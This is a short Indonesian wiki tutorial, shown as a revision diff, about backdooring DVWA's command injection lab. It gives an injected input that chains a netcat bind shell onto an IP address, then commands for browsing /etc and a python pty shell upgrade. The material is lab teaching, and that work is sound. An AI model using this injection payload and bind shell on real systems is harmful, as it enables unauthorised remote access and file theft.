DVWA: Command Injection Back Door: Difference between revisions

From OnnoCenterWiki
Jump to navigationJump to search
Onnowpurbo (talk | contribs)
No edit summary
Onnowpurbo (talk | contribs)
No edit summary
Line 19: Line 19:


  python -c 'import pty; pty.spawn("/bin/sh")'
  python -c 'import pty; pty.spawn("/bin/sh")'
==Pranala Menarik==
* [[DVWA]]

Revision as of 22:14, 22 October 2018

Backdoor menggunakan perintah

fifo /tmp/pipe;sh /tmp/pipe | nc -l 4444 > /tmp/pipe

Dari command injection di DVWA masukan

192.168.43.1;mkfifo /tmp/pipe;sh /tmp/pipe | nc -l 4444 > /tmp/pipe

dimana 192.168.43.1 adalah salah satu IP mesin di jaringan

Selanjutnya kita bisa memasukan perintah2 shell seperti

ls
cd /etc
cat <namafile>
dsb

Percobaan untuk memperoleh shell

python -c 'import pty; pty.spawn("/bin/sh")'


Pranala Menarik